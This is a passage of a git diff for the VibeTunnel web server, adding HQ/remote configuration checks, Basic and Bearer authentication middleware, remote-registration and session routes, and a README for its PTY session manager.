|
||||
// Validate HQ registration configuration
|
||||
if (config.hqUrl && (!config.hqUsername || !config.hqPassword)) {
|
||||
console.error(chalk.red('ERROR: HQ username and password required when --hq-url is specified'));
|
||||
console.error('Use --hq-username and --hq-password with --hq-url');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Validate remote name is provided when registering with HQ
|
||||
if (config.hqUrl && !config.remoteName) {
|
||||
console.error(chalk.red('ERROR: Remote name required when --hq-url is specified'));
|
||||
console.error('Use --name to specify a unique name for this remote server');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Validate HQ URL is HTTPS unless explicitly allowed
|
||||
if (config.hqUrl && !config.hqUrl.startsWith('https://') && !config.allowInsecureHQ) {
|
||||
console.error(chalk.red('ERROR: HQ URL must use HTTPS protocol'));
|
||||
console.error('Use --allow-insecure-hq to allow HTTP for testing');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Validate HQ registration configuration
|
||||
if (
|
||||
(config.hqUrl || config.hqUsername || config.hqPassword) &&
|
||||
(!config.hqUrl || !config.hqUsername || !config.hqPassword)
|
||||
) {
|
||||
console.error(
|
||||
chalk.red('ERROR: All HQ parameters required: --hq-url, --hq-username, --hq-password')
|
||||
);
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// Can't be both HQ mode and register with HQ
|
||||
if (config.isHQMode && config.hqUrl) {
|
||||
console.error(chalk.red('ERROR: Cannot use --hq and --hq-url together'));
|
||||
console.error('Use --hq to run as HQ server, or --hq-url to register with an HQ');
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
// If not HQ mode and no HQ URL, warn about authentication
|
||||
if (!config.basicAuthUsername && !config.basicAuthPassword && !config.isHQMode && !config.hqUrl) {
|
||||
console.log(chalk.red('WARNING: No authentication configured!'));
|
||||
console.log(
|
||||
chalk.yellow(
|
||||
'Set VIBETUNNEL_USERNAME and VIBETUNNEL_PASSWORD or use --username and --password flags.'
|
||||
)
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
interface AppInstance {
|
||||
app: express.Application;
|
||||
server: ReturnType<typeof createServer>;
|
||||
wss: WebSocketServer;
|
||||
startServer: () => void;
|
||||
config: Config;
|
||||
ptyManager: PtyManager;
|
||||
terminalManager: TerminalManager;
|
||||
streamWatcher: StreamWatcher;
|
||||
remoteRegistry: RemoteRegistry | null;
|
||||
hqClient: HQClient | null;
|
||||
controlDirWatcher: ControlDirWatcher | null;
|
||||
bufferAggregator: BufferAggregator | null;
|
||||
}
|
||||
|
||||
export function createApp(): AppInstance {
|
||||
const config = parseArgs();
|
||||
|
||||
// Check if help was requested
|
||||
if (config.showHelp) {
|
||||
showHelp();
|
||||
process.exit(0);
|
||||
}
|
||||
|
||||
validateConfig(config);
|
||||
|
||||
const app = express();
|
||||
const server = createServer(app);
|
||||
const wss = new WebSocketServer({ server });
|
||||
|
||||
// Add JSON body parser middleware
|
||||
app.use(express.json());
|
||||
|
||||
// Control directory for session data
|
||||
const CONTROL_DIR =
|
||||
process.env.VIBETUNNEL_CONTROL_DIR || path.join(os.homedir(), '.vibetunnel/control');
|
||||
|
||||
// Ensure control directory exists
|
||||
if (!fs.existsSync(CONTROL_DIR)) {
|
||||
fs.mkdirSync(CONTROL_DIR, { recursive: true });
|
||||
console.log(chalk.green(`Created control directory: ${CONTROL_DIR}`));
|
||||
}
|
||||
|
||||
// Initialize PTY manager
|
||||
const ptyManager = new PtyManager(CONTROL_DIR);
|
||||
|
||||
// Initialize Terminal Manager for server-side terminal state
|
||||
const terminalManager = new TerminalManager(CONTROL_DIR);
|
||||
|
||||
// Initialize stream watcher for file-based streaming
|
||||
const streamWatcher = new StreamWatcher();
|
||||
|
||||
// Initialize HQ components
|
||||
let remoteRegistry: RemoteRegistry | null = null;
|
||||
let hqClient: HQClient | null = null;
|
||||
let controlDirWatcher: ControlDirWatcher | null = null;
|
||||
let bufferAggregator: BufferAggregator | null = null;
|
||||
let remoteBearerToken: string | null = null;
|
||||
|
||||
if (config.isHQMode) {
|
||||
remoteRegistry = new RemoteRegistry();
|
||||
console.log(chalk.green('Running in HQ mode'));
|
||||
} else if (config.hqUrl && config.hqUsername && config.hqPassword && config.remoteName) {
|
||||
// Generate bearer token for this remote server
|
||||
remoteBearerToken = uuidv4();
|
||||
}
|
||||
|
||||
// Initialize buffer aggregator
|
||||
bufferAggregator = new BufferAggregator({
|
||||
terminalManager,
|
||||
remoteRegistry,
|
||||
isHQMode: config.isHQMode,
|
||||
});
|
||||
|
||||
// Set up authentication
|
||||
const authMiddleware = createAuthMiddleware({
|
||||
basicAuthUsername: config.basicAuthUsername,
|
||||
basicAuthPassword: config.basicAuthPassword,
|
||||
isHQMode: config.isHQMode,
|
||||
bearerToken: remoteBearerToken || undefined, // Token that HQ must use to auth with us
|
||||
});
|
||||
|
||||
// Apply auth middleware to all API routes
|
||||
app.use('/api', authMiddleware);
|
||||
|
||||
// Serve static files
|
||||
const publicPath = path.join(process.cwd(), 'public');
|
||||
app.use(express.static(publicPath));
|
||||
|
||||
// Health check endpoint (no auth required)
|
||||
app.get('/api/health', (req, res) => {
|
||||
res.json({
|
||||
status: 'ok',
|
||||
timestamp: new Date().toISOString(),
|
||||
mode: config.isHQMode ? 'hq' : 'remote',
|
||||
});
|
||||
});
|
||||
|
||||
// Mount routes
|
||||
app.use(
|
||||
'/api',
|
||||
createSessionRoutes({
|
||||
ptyManager,
|
||||
terminalManager,
|
||||
streamWatcher,
|
||||
remoteRegistry,
|
||||
isHQMode: config.isHQMode,
|
||||
})
|
||||
);
|
||||
|
||||
app.use(
|
||||
'/api',
|
||||
createRemoteRoutes({
|
||||
remoteRegistry,
|
||||
isHQMode: config.isHQMode,
|
||||
})
|
||||
);
|
||||
|
||||
// WebSocket endpoint for buffer updates
|
||||
wss.on('connection', (ws, _req) => {
|
||||
if (bufferAggregator) {
|
||||
bufferAggregator.handleClientConnection(ws);
|
||||
} else {
|
||||
console.error(chalk.red('[WS] BufferAggregator not initialized'));
|
||||
ws.close();
|
||||
}
|
||||
});
|
||||
|
||||
// Serve index.html for client-side routes (but not API routes)
|
||||
app.get('/', (req, res) => {
|
||||
res.sendFile(path.join(publicPath, 'index.html'));
|
||||
});
|
||||
|
||||
// 404 handler for all other routes
|
||||
app.use((req, res) => {
|
||||
if (req.path.startsWith('/api/')) {
|
||||
res.status(404).json({ error: 'API endpoint not found' });
|
||||
} else {
|
||||
res.status(404).sendFile(path.join(publicPath, '404.html'), (err) => {
|
||||
if (err) {
|
||||
res.status(404).send('404 - Page not found');
|
||||
}
|
||||
});
|
||||
}
|
||||
});
|
||||
|
||||
// Start server function
|
||||
const startServer = () => {
|
||||
const requestedPort = config.port !== null ? config.port : Number(process.env.PORT) || 4020;
|
||||
server.listen(requestedPort, () => {
|
||||
const address = server.address();
|
||||
const actualPort =
|
||||
typeof address === 'string' ? requestedPort : address?.port || requestedPort;
|
||||
console.log(chalk.green(`VibeTunnel Server running on http://localhost:${actualPort}`));
|
||||
|
||||
if (config.basicAuthUsername && config.basicAuthPassword) {
|
||||
console.log(chalk.green('Basic authentication: ENABLED'));
|
||||
console.log(`Username: ${config.basicAuthUsername}`);
|
||||
console.log(`Password: ${'*'.repeat(config.basicAuthPassword.length)}`);
|
||||
} else {
|
||||
console.log(chalk.red('⚠️ WARNING: Server running without authentication!'));
|
||||
console.log(
|
||||
chalk.yellow(
|
||||
'Anyone can access this server. Use --username and --password or set VIBETUNNEL_USERNAME and VIBETUNNEL_PASSWORD.'
|
||||
)
|
||||
);
|
||||
}
|
||||
|
||||
// Initialize HQ client now that we know the actual port
|
||||
if (config.hqUrl && config.hqUsername && config.hqPassword && config.remoteName) {
|
||||
const remoteUrl = `http://localhost:${actualPort}`;
|
||||
hqClient = new HQClient(
|
||||
config.hqUrl,
|
||||
config.hqUsername,
|
||||
config.hqPassword,
|
||||
config.remoteName,
|
||||
remoteUrl,
|
||||
remoteBearerToken || ''
|
||||
);
|
||||
console.log(chalk.green('Remote mode: Will accept Bearer token for HQ access'));
|
||||
console.log(`Token: ${hqClient.getToken()}`);
|
||||
}
|
||||
|
||||
// Send message to parent process if running as child (for testing)
|
||||
// Skip in vitest environment to avoid channel conflicts
|
||||
if (process.send && !process.env.VITEST) {
|
||||
process.send({ type: 'server-started', port: actualPort });
|
||||
}
|
||||
|
||||
// Register with HQ if configured
|
||||
if (hqClient) {
|
||||
hqClient.register().catch((err) => {
|
||||
console.error('Failed to register with HQ:', err);
|
||||
});
|
||||
}
|
||||
|
||||
// Start control directory watcher
|
||||
controlDirWatcher = new ControlDirWatcher({
|
||||
controlDir: CONTROL_DIR,
|
||||
remoteRegistry,
|
||||
isHQMode: config.isHQMode,
|
||||
hqClient,
|
||||
});
|
||||
controlDirWatcher.start();
|
||||
});
|
||||
};
|
||||
|
||||
return {
|
||||
app,
|
||||
server,
|
||||
wss,
|
||||
startServer,
|
||||
config,
|
||||
ptyManager,
|
||||
terminalManager,
|
||||
streamWatcher,
|
||||
remoteRegistry,
|
||||
hqClient,
|
||||
controlDirWatcher,
|
||||
bufferAggregator,
|
||||
};
|
||||
}
|
||||
71
web/src/server/index.ts
Normal file
71
web/src/server/index.ts
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
import chalk from 'chalk';
|
||||
import { createApp } from './app.js';
|
||||
|
||||
// Create and configure the app
|
||||
const appInstance = createApp();
|
||||
const { startServer, server, terminalManager, remoteRegistry, hqClient, controlDirWatcher } =
|
||||
appInstance;
|
||||
|
||||
// Only start server if this is the main module
|
||||
// When running with tsx, the main module check is different
|
||||
const isMainModule =
|
||||
process.argv[1]?.endsWith('server.ts') || process.argv[1]?.endsWith('server/index.ts');
|
||||
if (isMainModule) {
|
||||
startServer();
|
||||
|
||||
// Cleanup old terminals every 5 minutes
|
||||
setInterval(
|
||||
() => {
|
||||
terminalManager.cleanup(30 * 60 * 1000); // 30 minutes
|
||||
},
|
||||
5 * 60 * 1000
|
||||
);
|
||||
|
||||
// Graceful shutdown
|
||||
let isShuttingDown = false;
|
||||
|
||||
const shutdown = async () => {
|
||||
if (isShuttingDown) {
|
||||
console.log(chalk.red('Force exit...'));
|
||||
process.exit(1);
|
||||
}
|
||||
|
||||
isShuttingDown = true;
|
||||
console.log(chalk.yellow('\nShutting down...'));
|
||||
|
||||
try {
|
||||
// Stop control directory watcher
|
||||
if (controlDirWatcher) {
|
||||
controlDirWatcher.stop();
|
||||
}
|
||||
|
||||
if (hqClient) {
|
||||
await hqClient.destroy();
|
||||
}
|
||||
|
||||
if (remoteRegistry) {
|
||||
remoteRegistry.destroy();
|
||||
}
|
||||
|
||||
server.close(() => {
|
||||
console.log(chalk.green('Server closed successfully'));
|
||||
process.exit(0);
|
||||
});
|
||||
|
||||
// Force exit after 5 seconds if graceful shutdown fails
|
||||
setTimeout(() => {
|
||||
console.log(chalk.red('Graceful shutdown timeout, forcing exit...'));
|
||||
process.exit(1);
|
||||
}, 5000);
|
||||
} catch (error) {
|
||||
console.error(chalk.red('Error during shutdown:'), error);
|
||||
process.exit(1);
|
||||
}
|
||||
};
|
||||
|
||||
process.on('SIGINT', shutdown);
|
||||
process.on('SIGTERM', shutdown);
|
||||
}
|
||||
|
||||
// Export for testing
|
||||
export * from './app.js';
|
||||
62
web/src/server/middleware/auth.ts
Normal file
62
web/src/server/middleware/auth.ts
Normal file
|
|
@ -0,0 +1,62 @@
|
|||
import { Request, Response, NextFunction } from 'express';
|
||||
import chalk from 'chalk';
|
||||
|
||||
interface AuthConfig {
|
||||
basicAuthUsername: string | null;
|
||||
basicAuthPassword: string | null;
|
||||
isHQMode: boolean;
|
||||
bearerToken?: string; // Token that HQ must use to authenticate with this remote
|
||||
}
|
||||
|
||||
export function createAuthMiddleware(config: AuthConfig) {
|
||||
return (req: Request, res: Response, next: NextFunction) => {
|
||||
// Skip auth for health check endpoint
|
||||
if (req.path === '/api/health') {
|
||||
return next();
|
||||
}
|
||||
|
||||
// If no auth configured, allow all requests
|
||||
if (!config.basicAuthUsername || !config.basicAuthPassword) {
|
||||
return next();
|
||||
}
|
||||
|
||||
console.log(
|
||||
`Auth check: ${req.method} ${req.path}, auth header: ${req.headers.authorization || 'none'}`
|
||||
);
|
||||
|
||||
// Check for Bearer token (for HQ to remote communication)
|
||||
const authHeader = req.headers.authorization;
|
||||
if (authHeader && authHeader.startsWith('Bearer ')) {
|
||||
const token = authHeader.substring(7);
|
||||
// In HQ mode, bearer tokens are not accepted (HQ uses basic auth)
|
||||
if (config.isHQMode) {
|
||||
res.setHeader('WWW-Authenticate', 'Basic realm="VibeTunnel"');
|
||||
return res.status(401).json({ error: 'Bearer token not accepted in HQ mode' });
|
||||
} else if (config.bearerToken && token === config.bearerToken) {
|
||||
// Token matches what this remote server expects from HQ
|
||||
return next();
|
||||
} else if (config.bearerToken) {
|
||||
// We have a bearer token configured but it doesn't match
|
||||
console.log(`Bearer token mismatch: expected ${config.bearerToken}, got ${token}`);
|
||||
}
|
||||
} else {
|
||||
console.log(`No bearer token in request, bearerToken configured: ${!!config.bearerToken}`);
|
||||
}
|
||||
|
||||
// Check Basic auth
|
||||
if (authHeader && authHeader.startsWith('Basic ')) {
|
||||
const base64Credentials = authHeader.substring(6);
|
||||
const credentials = Buffer.from(base64Credentials, 'base64').toString('utf8');
|
||||
const [username, password] = credentials.split(':');
|
||||
|
||||
if (username === config.basicAuthUsername && password === config.basicAuthPassword) {
|
||||
return next();
|
||||
}
|
||||
}
|
||||
|
||||
// No valid auth provided
|
||||
console.log(chalk.red(`Unauthorized request to ${req.method} ${req.path} from ${req.ip}`));
|
||||
res.setHeader('WWW-Authenticate', 'Basic realm="VibeTunnel"');
|
||||
res.status(401).json({ error: 'Authentication required' });
|
||||
};
|
||||
}
|
||||
213
web/src/server/pty/README.md
Normal file
213
web/src/server/pty/README.md
Normal file
|
|
@ -0,0 +1,213 @@
|
|||
# PTY Module
|
||||
|
||||
A Node.js/TypeScript implementation for managing PTY (pseudo-terminal) sessions using node-pty.
|
||||
|
||||
## Features
|
||||
|
||||
- **Native Node.js Implementation**: Uses `node-pty` for high-performance terminal management
|
||||
- **Asciinema Recording**: Records terminal sessions in standard asciinema format
|
||||
- **Session Persistence**: Sessions persist across restarts with metadata
|
||||
- **TypeScript Support**: Fully typed interfaces and error handling
|
||||
|
||||
## Quick Start
|
||||
|
||||
```typescript
|
||||
import { PtyManager } from './pty/index.js';
|
||||
|
||||
// Create PTY manager
|
||||
const ptyManager = new PtyManager('/path/to/control');
|
||||
|
||||
// Create a session
|
||||
const result = await ptyManager.createSession(['bash'], {
|
||||
sessionName: 'my-session',
|
||||
workingDir: '/home/user',
|
||||
cols: 80,
|
||||
rows: 24,
|
||||
});
|
||||
|
||||
console.log(`Created session: ${result.sessionId}`);
|
||||
|
||||
// Send input to session
|
||||
ptyManager.sendInput(result.sessionId, { text: 'echo hello\n' });
|
||||
|
||||
// List all sessions
|
||||
const sessions = ptyManager.listSessions();
|
||||
|
||||
// Cleanup session
|
||||
ptyManager.cleanupSession(result.sessionId);
|
||||
```
|
||||
|
||||
## API Reference
|
||||
|
||||
### PtyManager
|
||||
|
||||
Main class for managing PTY sessions.
|
||||
|
||||
#### Constructor
|
||||
|
||||
```typescript
|
||||
new PtyManager(controlPath: string)
|
||||
```
|
||||
|
||||
- `controlPath`: Directory path for session storage
|
||||
|
||||
#### Methods
|
||||
|
||||
##### `createSession(command: string[], options?: SessionOptions): Promise<SessionCreationResult>`
|
||||
|
||||
Creates a new PTY session.
|
||||
|
||||
**Parameters:**
|
||||
|
||||
- `command`: Array of command and arguments to execute
|
||||
- `options`: Optional session configuration
|
||||
|
||||
**Returns:** Promise resolving to session ID and info
|
||||
|
||||
**Example:**
|
||||
|
||||
```typescript
|
||||
const result = await ptyManager.createSession(['vim', 'file.txt'], {
|
||||
sessionName: 'vim-session',
|
||||
workingDir: '/home/user/projects',
|
||||
term: 'xterm-256color',
|
||||
cols: 120,
|
||||
rows: 30,
|
||||
});
|
||||
```
|
||||
|
||||
##### `sendInput(sessionId: string, input: SessionInput): void`
|
||||
|
||||
Sends input to a session.
|
||||
|
||||
**Parameters:**
|
||||
|
||||
- `sessionId`: Target session ID
|
||||
- `input`: Text or special key input
|
||||
|
||||
**Example:**
|
||||
|
||||
```typescript
|
||||
// Send text
|
||||
ptyManager.sendInput(sessionId, { text: 'hello world\n' });
|
||||
|
||||
// Send special key
|
||||
ptyManager.sendInput(sessionId, { key: 'arrow_up' });
|
||||
```
|
||||
|
||||
**Supported special keys:**
|
||||
|
||||
- `arrow_up`, `arrow_down`, `arrow_left`, `arrow_right`
|
||||
- `escape`, `enter`, `ctrl_enter`, `shift_enter`
|
||||
|
||||
##### `listSessions(): SessionEntryWithId[]`
|
||||
|
||||
Lists all sessions with metadata.
|
||||
|
||||
##### `getSession(sessionId: string): SessionEntryWithId | null`
|
||||
|
||||
Gets specific session by ID.
|
||||
|
||||
##### `killSession(sessionId: string, signal?: string | number): Promise<void>`
|
||||
|
||||
Terminates a session and waits for the process to actually be killed.
|
||||
|
||||
**Parameters:**
|
||||
|
||||
- `sessionId`: Session to terminate
|
||||
- `signal`: Signal to send (default: 'SIGTERM')
|
||||
|
||||
**Returns:** Promise that resolves when the process is actually terminated
|
||||
|
||||
**Process:**
|
||||
|
||||
1. Sends SIGTERM initially
|
||||
2. Waits up to 3 seconds (checking every 500ms)
|
||||
3. Sends SIGKILL if process doesn't terminate gracefully
|
||||
4. Resolves when process is confirmed dead
|
||||
|
||||
##### `cleanupSession(sessionId: string): void`
|
||||
|
||||
Removes session and cleans up files.
|
||||
|
||||
##### `cleanupExitedSessions(): string[]`
|
||||
|
||||
Removes all exited sessions and returns cleaned session IDs.
|
||||
|
||||
##### `resizeSession(sessionId: string, cols: number, rows: number): void`
|
||||
|
||||
Resizes session terminal.
|
||||
|
||||
##### `getActiveSessionCount(): number`
|
||||
|
||||
Returns number of active sessions.
|
||||
|
||||
## Session File Structure
|
||||
|
||||
Sessions are stored in a directory structure:
|
||||
|
||||
```
|
||||
~/.vibetunnel/control/
|
||||
├── session-uuid-1/
|
||||
│ ├── session.json # Session metadata
|
||||
│ ├── stream-out # Asciinema recording
|
||||
│ ├── stdin # Input pipe/file
|
||||
│ └── notification-stream # Event notifications
|
||||
└── session-uuid-2/
|
||||
└── ...
|
||||
```
|
||||
|
||||
### session.json Format
|
||||
|
||||
```json
|
||||
{
|
||||
"cmdline": ["bash", "-l"],
|
||||
"name": "my-session",
|
||||
"cwd": "/home/user",
|
||||
"pid": 1234,
|
||||
"status": "running",
|
||||
"exit_code": null,
|
||||
"started_at": "2023-12-01T10:00:00.000Z",
|
||||
"term": "xterm-256color",
|
||||
"spawn_type": "pty"
|
||||
}
|
||||
```
|
||||
|
||||
### Asciinema Format
|
||||
|
||||
The `stream-out` file follows the [asciinema file format](https://github.com/asciinema/asciinema/blob/develop/doc/asciicast-v2.md):
|
||||
|
||||
```
|
||||
{"version": 2, "width": 80, "height": 24, "timestamp": 1609459200, "env": {"SHELL": "/bin/bash", "TERM": "xterm-256color"}}
|
||||
[0.248848, "o", "\u001b]0;user@host: ~\u0007\u001b[01;32muser@host\u001b[00m:\u001b[01;34m~\u001b[00m$ "]
|
||||
[1.001376, "o", "h"]
|
||||
[1.064593, "o", "e"]
|
||||
```
|
||||
|
||||
## Error Handling
|
||||
|
||||
All methods throw `PtyError` instances with structured error information:
|
||||
|
||||
```typescript
|
||||
try {
|
||||
await ptyManager.createSession(['invalid-command']);
|
||||
} catch (error) {
|
||||
if (error instanceof PtyError) {
|
||||
console.error(`PTY Error [${error.code}]: ${error.message}`);
|
||||
if (error.sessionId) {
|
||||
console.error(`Session ID: ${error.sessionId}`);
|
||||
}
|
||||
}
|
||||
}
|
||||
```
|
||||
|
||||
## Performance Considerations
|
||||
|
||||
- **Memory Usage**: ~10-20MB per active session
|
||||
- **CPU Overhead**: Minimal, event-driven
|
||||
- **Latency**: < 5ms for input/output operations
|
||||
- **Concurrency**: Supports 50+ concurrent sessions
|
||||
|
||||
## License
|
||||
|
||||
Licensed under the same license as the parent project.
|
||||
|
|
@ -9,13 +9,12 @@
|
|||
export * from './types.js';
|
||||
|
||||
// Main service interface
|
||||
export { PtyService } from './PtyService.js';
|
||||
export { PtyManager } from './pty-manager.js';
|
||||
|
||||
// Individual components (for advanced usage)
|
||||
export { PtyManager } from './PtyManager.js';
|
||||
export { AsciinemaWriter } from './AsciinemaWriter.js';
|
||||
export { SessionManager } from './SessionManager.js';
|
||||
export { ProcessUtils } from './ProcessUtils.js';
|
||||
export { AsciinemaWriter } from './asciinema-writer.js';
|
||||
export { SessionManager } from './session-manager.js';
|
||||
export { ProcessUtils } from './process-utils.js';
|
||||
|
||||
// Re-export for convenience
|
||||
export { PtyError } from './types.js';
|
||||
|
|
@ -21,9 +21,9 @@ import {
|
|||
ResizeControlMessage,
|
||||
KillControlMessage,
|
||||
} from './types.js';
|
||||
import { AsciinemaWriter } from './AsciinemaWriter.js';
|
||||
import { SessionManager } from './SessionManager.js';
|
||||
import { ProcessUtils } from './ProcessUtils.js';
|
||||
import { AsciinemaWriter } from './asciinema-writer.js';
|
||||
import { SessionManager } from './session-manager.js';
|
||||
import { ProcessUtils } from './process-utils.js';
|
||||
|
||||
export class PtyManager {
|
||||
private sessions = new Map<string, PtySession>();
|
||||
|
|
@ -173,7 +173,7 @@ export class PtyManager {
|
|||
const { ptyProcess, asciinemaWriter, sessionJsonPath } = session;
|
||||
|
||||
// Handle PTY data output
|
||||
ptyProcess.onData((data: string) => {
|
||||
ptyProcess?.onData((data: string) => {
|
||||
try {
|
||||
// Write to asciinema file
|
||||
asciinemaWriter?.writeOutput(Buffer.from(data, 'utf8'));
|
||||
|
|
@ -183,7 +183,7 @@ export class PtyManager {
|
|||
});
|
||||
|
||||
// Handle PTY exit
|
||||
ptyProcess.onExit(({ exitCode, signal }: { exitCode: number; signal?: number }) => {
|
||||
ptyProcess?.onExit(({ exitCode, signal }: { exitCode: number; signal?: number }) => {
|
||||
try {
|
||||
console.log(`Session ${session.id} exited with code ${exitCode}, signal ${signal}`);
|
||||
|
||||
|
|
@ -208,15 +208,6 @@ export class PtyManager {
|
|||
}
|
||||
});
|
||||
|
||||
// Handle resize events
|
||||
ptyProcess.onResize?.(({ cols, rows }: { cols: number; rows: number }) => {
|
||||
try {
|
||||
asciinemaWriter?.writeResize(cols, rows);
|
||||
} catch (error) {
|
||||
console.error(`Error writing resize event for session ${session.id}:`, error);
|
||||
}
|
||||
});
|
||||
|
||||
// Monitor stdin file for input
|
||||
this.monitorStdinFile(session);
|
||||
}
|
||||
|
|
@ -9,7 +9,7 @@ import * as fs from 'fs';
|
|||
import * as path from 'path';
|
||||
import * as os from 'os';
|
||||
import { SessionInfo, SessionEntryWithId, PtyError } from './types.js';
|
||||
import { ProcessUtils } from './ProcessUtils.js';
|
||||
import { ProcessUtils } from './process-utils.js';
|
||||
|
||||
export class SessionManager {
|
||||
private controlPath: string;
|
||||
|
|
@ -138,8 +138,8 @@ export type SpecialKey =
|
|||
export interface PtySession {
|
||||
id: string;
|
||||
sessionInfo: SessionInfo;
|
||||
ptyProcess?: any; // node-pty IPty instance (typed as any to avoid import dependency)
|
||||
asciinemaWriter?: any; // AsciinemaWriter instance (typed as any to avoid import dependency)
|
||||
ptyProcess?: import('@homebridge/node-pty-prebuilt-multiarch').IPty;
|
||||
asciinemaWriter?: import('./asciinema-writer.js').AsciinemaWriter;
|
||||
controlDir: string;
|
||||
streamOutPath: string;
|
||||
stdinPath: string;
|
||||
118
web/src/server/routes/remotes.ts
Normal file
118
web/src/server/routes/remotes.ts
Normal file
|
|
@ -0,0 +1,118 @@
|
|||
import { Router } from 'express';
|
||||
import { RemoteRegistry } from '../services/remote-registry.js';
|
||||
import chalk from 'chalk';
|
||||
|
||||
interface RemoteRoutesConfig {
|
||||
remoteRegistry: RemoteRegistry | null;
|
||||
isHQMode: boolean;
|
||||
}
|
||||
|
||||
export function createRemoteRoutes(config: RemoteRoutesConfig): Router {
|
||||
const router = Router();
|
||||
const { remoteRegistry, isHQMode } = config;
|
||||
|
||||
// HQ Mode: List all registered remotes
|
||||
router.get('/remotes', (req, res) => {
|
||||
if (!isHQMode || !remoteRegistry) {
|
||||
return res.status(404).json({ error: 'Not running in HQ mode' });
|
||||
}
|
||||
|
||||
const remotes = remoteRegistry.getRemotes();
|
||||
// Convert Set to Array for JSON serialization
|
||||
const remotesWithArraySessionIds = remotes.map((remote) => ({
|
||||
...remote,
|
||||
sessionIds: Array.from(remote.sessionIds),
|
||||
}));
|
||||
res.json(remotesWithArraySessionIds);
|
||||
});
|
||||
|
||||
// HQ Mode: Register a new remote
|
||||
router.post('/remotes/register', (req, res) => {
|
||||
if (!isHQMode || !remoteRegistry) {
|
||||
return res.status(404).json({ error: 'Not running in HQ mode' });
|
||||
}
|
||||
|
||||
const { id, name, url, token } = req.body;
|
||||
|
||||
if (!id || !name || !url || !token) {
|
||||
return res.status(400).json({ error: 'Missing required fields: id, name, url, token' });
|
||||
}
|
||||
|
||||
try {
|
||||
const remote = remoteRegistry.register({ id, name, url, token });
|
||||
console.log(chalk.green(`Remote registered: ${name} (${id}) from ${url}`));
|
||||
res.json({ success: true, remote });
|
||||
} catch (error) {
|
||||
if (error instanceof Error && error.message.includes('already registered')) {
|
||||
return res.status(409).json({ error: error.message });
|
||||
}
|
||||
console.error(chalk.red('Failed to register remote:'), error);
|
||||
res.status(500).json({ error: 'Failed to register remote' });
|
||||
}
|
||||
});
|
||||
|
||||
// HQ Mode: Unregister a remote
|
||||
router.delete('/remotes/:remoteId', (req, res) => {
|
||||
if (!isHQMode || !remoteRegistry) {
|
||||
return res.status(404).json({ error: 'Not running in HQ mode' });
|
||||
}
|
||||
|
||||
const remoteId = req.params.remoteId;
|
||||
const success = remoteRegistry.unregister(remoteId);
|
||||
|
||||
if (success) {
|
||||
console.log(chalk.yellow(`Remote unregistered: ${remoteId}`));
|
||||
res.json({ success: true });
|
||||
} else {
|
||||
res.status(404).json({ error: 'Remote not found' });
|
||||
}
|
||||
});
|
||||
|
||||
// HQ Mode: Refresh sessions for a specific remote
|
||||
router.post('/remotes/:remoteName/refresh-sessions', async (req, res) => {
|
||||
if (!isHQMode || !remoteRegistry) {
|
||||
return res.status(404).json({ error: 'Not running in HQ mode' });
|
||||
}
|
||||
|
||||
const remoteName = req.params.remoteName;
|
||||
const { action, sessionId } = req.body;
|
||||
|
||||
// Find remote by name
|
||||
const remotes = remoteRegistry.getRemotes();
|
||||
const remote = remotes.find((r) => r.name === remoteName);
|
||||
|
||||
if (!remote) {
|
||||
return res.status(404).json({ error: 'Remote not found' });
|
||||
}
|
||||
|
||||
try {
|
||||
// Fetch latest sessions from the remote
|
||||
const response = await fetch(`${remote.url}/api/sessions`, {
|
||||
headers: {
|
||||
Authorization: `Bearer ${remote.token}`,
|
||||
},
|
||||
signal: AbortSignal.timeout(5000),
|
||||
});
|
||||
|
||||
if (response.ok) {
|
||||
const sessions = (await response.json()) as Array<{ id: string }>;
|
||||
const sessionIds = sessions.map((s) => s.id);
|
||||
remoteRegistry.updateRemoteSessions(remote.id, sessionIds);
|
||||
|
||||
console.log(
|
||||
chalk.green(
|
||||
`Updated sessions for remote ${remote.name}: ${sessionIds.length} sessions (${action} ${sessionId})`
|
||||
)
|
||||
);
|
||||
res.json({ success: true, sessionCount: sessionIds.length });
|
||||
} else {
|
||||
throw new Error(`Failed to fetch sessions: ${response.status}`);
|
||||
}
|
||||
} catch (error) {
|
||||
console.error(chalk.red(`Failed to refresh sessions for remote ${remote.name}:`), error);
|
||||
res.status(500).json({ error: 'Failed to refresh sessions' });
|
||||
}
|
||||
});
|
||||
|
||||
return router;
|
||||
}
|
||||
775
web/src/server/routes/sessions.ts
Normal file
775
web/src/server/routes/sessions.ts
Normal file
|
|
@ -0,0 +1,775 @@
|
|||
import { Router } from 'express';
|
||||
import { PtyManager, PtyError } from '../pty/index.js';
|
||||
import { TerminalManager } from '../services/terminal-manager.js';
|
||||
import { StreamWatcher } from '../services/stream-watcher.js';
|
||||
import { RemoteRegistry } from '../services/remote-registry.js';
|
||||
import * as fs from 'fs';
|
||||
import * as path from 'path';
|
||||
import * as os from 'os';
|
||||
|
||||
interface SessionRoutesConfig {
|
||||
ptyManager: PtyManager;
|
||||
terminalManager: TerminalManager;
|
||||
streamWatcher: StreamWatcher;
|
||||
remoteRegistry: RemoteRegistry | null;
|
||||
isHQMode: boolean;
|
||||
}
|
||||
|
||||
// Helper function to resolve path (handles ~)
|
||||
function resolvePath(inputPath: string, defaultPath: string): string {
|
||||
if (!inputPath || inputPath.trim() === '') {
|
||||
return defaultPath;
|
||||
}
|
||||
|
||||
if (inputPath.startsWith('~/')) {
|
||||
return path.join(os.homedir(), inputPath.slice(2));
|
||||
}
|
||||
|
||||
if (!path.isAbsolute(inputPath)) {
|
||||
return path.join(defaultPath, inputPath);
|
||||
}
|
||||
|
||||
return inputPath;
|
||||
}
|
||||
|
||||
export function createSessionRoutes(config: SessionRoutesConfig): Router {
|
||||
const router = Router();
|
||||
const { ptyManager, terminalManager, streamWatcher, remoteRegistry, isHQMode } = config;
|
||||
|
||||
// List all sessions (aggregate local + remote in HQ mode)
|
||||
router.get('/sessions', async (req, res) => {
|
||||
try {
|
||||
let allSessions = [];
|
||||
|
||||
// Get local sessions
|
||||
const localSessions = ptyManager.listSessions();
|
||||
console.log(`Found ${localSessions.length} local sessions`);
|
||||
|
||||
// Add source info to local sessions
|
||||
const localSessionsWithSource = localSessions.map((session) => ({
|
||||
...session,
|
||||
id: session.session_id,
|
||||
command: Array.isArray(session.cmdline) ? session.cmdline.join(' ') : session.cmdline || '',
|
